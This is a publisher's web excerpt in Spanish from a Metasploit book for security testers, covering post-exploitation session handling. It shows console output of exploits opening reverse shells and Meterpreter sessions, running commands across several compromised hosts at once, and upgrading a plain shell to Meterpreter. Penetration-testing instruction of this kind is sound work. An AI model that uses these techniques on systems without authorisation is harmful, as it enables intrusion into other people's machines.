🎃 Grandes descuentos en libros en línea, eformaciones y vídeos*. Código CALABAZA30. Pulse aquí
¡Acceso ilimitado 24/7 a todos nuestros libros y vídeos! Descubra la Biblioteca Online ENI. Pulse aquí
  1. Libros
  2. Metasploit
  3. Utilizar sesiones
Extrait - Metasploit Verifique la seguridad de sus infraestructuras
Extractos del libro
Metasploit Verifique la seguridad de sus infraestructuras
2 opiniones
Volver a la página de compra del libro

Utilizar sesiones

Descripción general de la sesión

Después de una explotación exitosa, y en función de la payload elegida, es posible que un atacante tenga una conexión entre su máquina y la máquina objetivo. Dentro del Framework Metasploit se trata de una session:

msf6 exploit(............)> exploit  
  
[...]  
[*] Command shell session 1 opened (192.168.171.156:43923 ->  
172.16.64.130:4444) at 2019-05-24 16:56:24 +0200  
    
 
msf6 exploit(............)> exploit  
[...]  
[*] Meterpreter session 1 opened (192.248.226.2:4444 ->  
192.248.226.3:47300) at 2019-06-19 17:34:05 +0000 

Usar sesiones puede ser particularmente potente. De hecho, aunque es habitual utilizarlas para interactuar solo con una máquina, es posible ejecutar un comando en varias máquinas al mismo tiempo (perfecto para que la explotación sea masiva), obtener información sobre una de las sesiones o incluso transformar un shell sencillo en un shell Meterpreter.

El uso del comando session solo es posible ANTES de explotar la vulnerabilidad; de lo contrario, se tratará de otro comando. Para esto, es necesario no interactuar con la sesión recién creada durante la explotación. Este truco es posible gracias a la opción -z del comando exploit:

msf6 exploit(multi/http/apprain_upload_exec) >...

Listar las sesiones e interacciones

Una vez creadas las sesiones mediante los diferentes exploits/payloads, es posible listarlas con el comando sessions. También es posible utilizar el comando sessions -l, que devuelve exactamente el mismo resultado:

msf6 exploit(multi/http/apprain_upload_exec) > sessions   
  
Active sessions   
===============   
  
 Id  Name  Type                 Information              Connection  
 --  ----  ----                 -----------              ----------  
 1               meterpreter php/linux   www-data (33) @ victim-1  
192.84.65.2:4444 -> 192.84.65.3:42182 (192.84.65.3)  
 2               meterpreter php/linux   www-data (33) @ victim-1  
 192.84.65.2:4444 -> 192.84.65.3:42552 (192.84.65.3)    
 
msf6 exploit(multi/http/apprain_upload_exec) > sessions...

Gestionar sesiones

En el marco de una explotación masiva, es probable que se abran muchas sesiones durante la fase de prueba. Aunque el comando que hemos destacado previamente (sessions -v) proporciona detalles sobre las sesiones, puede resultar difícil administrarlas. Por lo tanto, para una mejor gestión, es posible nombrar las sesiones con el comando sessions -n -i <ID_SESIÓN >:

msf6 exploit(multi/http/apprain_upload_exec) > sessions -l   
  
Active sessions  
===============  
  
 Id  Name  Type                   Information         Connection  
 --  ----  ----                   -----------         ----------  
 1               meterpreter php/linux   www-data (33) @ victim-1  
192.84.65.2:4444 -> 192.84.65.3:42182 (192.84.65.3)  
 2               meterpreter php/linux   www-data (33) @ victim-1  
 192.84.65.2:4444 ->...

Explotación masiva

En caso de que haya muchas sesiones activas, puede ser conveniente ejecutar un comando en varias sesiones simultáneamente.

A través de los tres comandos que vamos a abordar a continuación, es posible especificar las sesiones en las que se ejecutarán los comandos con la opción -i seguida de los números de sesión. Si no se especifica esta opción, los comandos se ejecutarán en todas las sesiones predeterminadas.

Por lo tanto, es posible utilizar diferentes comandos:

  • sessions -c <COMANDO> para ejecutar los comandos de sistema

msf exploit(handler) > sessions -c 'reg query  
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName'  
[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows  
NT\CurrentVersion" /v ProductName' on session 1 (192.168.1.138:50441)  
  
! REG.EXE VERSION 3.0   
  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion 
    ProductName    REG_SZ    Microsoft Windows XP  
  
[*] Running 'reg query "HKLM\SOFTWARE\Microsoft\Windows  
NT\CurrentVersion" /v ProductName' on session 2 (192.168.1.138:54920)  
  
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion 
    ProductName    REG_SZ    Microsoft...

Meterpreter y más allá

Obtener un shell Meterpreter en una máquina objetivo es el Santo Grial. Sin embargo, en algunas explotaciones, no siempre es posible obtener el codiciado Meterpreter:

msf6 exploit(multi/http/werkzeug_debug_rce) > sessions -l   
  
Active sessions   
===============   
  
 Id  Name  Type                 Information  Connection  
 --  ----  ----                 -----------  ----------  
 1         shell python/python               192.90.63.2:4444 ->  
192.90.63.3:48162 (192.90.63.3) 

A pesar de esto, todavía existe la posibilidad de obtener el shell deseado gracias al comando sessions -u:

msf6 exploit(multi/http/werkzeug_debug_rce) > sessions -u 1  
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): 
[1]  
  
[!] SESSION may not be compatible with this module.  
[*] Upgrading session ID: 1  
[*] Starting exploit/multi/handler  
[*] Started reverse TCP handler on 192.90.63.2:4433  ...